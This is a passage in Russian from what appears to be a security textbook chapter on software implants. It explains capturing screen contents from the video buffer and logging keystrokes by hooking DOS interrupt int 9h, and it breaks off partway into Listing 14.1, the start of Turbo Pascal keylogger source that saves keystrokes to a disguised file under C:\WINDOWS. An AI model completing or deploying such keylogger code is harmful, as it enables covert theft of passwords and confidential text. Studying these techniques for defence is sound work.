Перехват вывода на экран

Рассмотрим только текстовый режим вывода. Режим графического вывода будет отличаться лишь тем, что изменится адрес видеобуфера в программе, и информация будет представлена в виде точек с определенным цветом.

В оперативной памяти ПЭВМ область видеобуфера имеет заранее известный фиксированный адрес. Видеобуфер, с точки зрения программы, представляет собой область обычной оперативной памяти, которая рассматривается как последовательность слов (16 бит) в формате: символ (8 бит) + цвет (8 бит).

Выводимый на экран текст помещается в видеобуфер, откуда может быть считан и сохранен закладкой.

Синхронизирующим событием в этом случае может быть:

· ввод с клавиатуры длинной последовательности символов (обрабатываемого текста);

· чтение из файла;

· запуск программ с определенными именами.

Кроме того, возможно периодическое сохранение области экранного буфера по сигналу от системного таймера.

Перехват ввода с клавиатуры

Закладки, анализирующие ввод с клавиатуры, являются достаточно опасными, поскольку клавиатура является основным устройством управления и ввода информации. Через клавиатурный ввод можно получить информацию о вводимых конфиденциальных сообщениях (текстах), паролях и т.д.

Перехват может производится двумя основными способами:

· встраивание в цепочку прерывания int 9h;

· анализом содержания клавиатурного порта или буфера по прерыванию от системного таймера.

Работа закладки основывается на полном сохранении всех нажатий (отжатий) клавиш в файле. Файл затем изучается, и на его основе злоумышленник, пытавшийся получить доступ к зашифрованным файлам, восстанавливает возможные парольные последовательности.

Пример подобной закладки приведен в листинге 14.1.

Листинг 14.1.Пример закладки, перехватывающей ввод с клавиатуры

{$M 2048,0,0}
{$F+}
Uses Dos;

const
ArchiveName = 'C:\WINDOWS\USER.BIN';
OldSS : Word = 0;
OldSP : Word = 0;
StackSW : Integer = - 1;
NewSS : Word = 0;
NewSP : Word = 0;

var
Old9h : Procedure;
R : Registers;
DOSSeg, DOSOfs : Word;
Tick, WaitBuf : Integer;
NeedPop : Boolean;
CBuf : Word;
KBuf : array [1..255] of Byte;

procedure BeginInt;
inline($FF/$06/StackSW/
$75/$10/
$8C/$16/OldSS/
$89/$26/OldSP/
$8E/$16/NewSS/